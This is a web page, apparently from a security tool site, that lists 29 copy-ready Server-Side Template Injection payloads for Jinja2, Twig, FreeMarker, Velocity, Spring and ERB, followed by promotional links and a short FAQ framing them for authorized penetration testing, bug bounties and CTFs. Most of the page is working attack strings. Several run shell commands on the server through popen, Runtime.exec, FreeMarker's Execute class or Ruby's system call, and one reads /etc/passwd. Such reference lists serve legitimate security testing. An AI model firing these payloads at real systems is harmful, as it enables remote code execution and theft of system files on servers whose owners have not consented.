$loading...
Server-Side Template Injection payloads for Jinja2, Twig, FreeMarker, ERB, and more template engines. (29 payloads)
{{7*7}}${7*7}<%= 7*7 %>#{7*7}#set($x=7*7)$x{{7*'7'}}{{dump(app)}}{{config}}${T(java.lang.Runtime)}*{7*7}{{config.__class__.__init__.__globals__['os'].popen('id').read()}}{{''.__class__.__mro__[1].__subclasses__()}}{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}{{cycler.__init__.__globals__.os.popen('id').read()}}{{lipsum.__globals__.os.popen('id').read()}}{{['id']|filter('system')}}{{['id']|map('system')}}{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}{{'id'|filter('system')}}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}${T(java.lang.Runtime).getRuntime().exec("id")}#set($rt=$x.class.forName("java.lang.Runtime"))#set($ex=$rt.getRuntime().exec("id"))${product.getClass().forName("java.lang.Runtime").getRuntime().exec("id")}<%= `id` %><%= system("id") %><%= IO.popen("id").read %><%= File.read("/etc/passwd") %><%= Dir.entries("/") %>Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 29 SSTI payloads for testing SSTI vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the Template Injection (SSTI) generator to build customized SSTI variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all SSTI payloads are completely free, with no account required. Everything runs in your browser.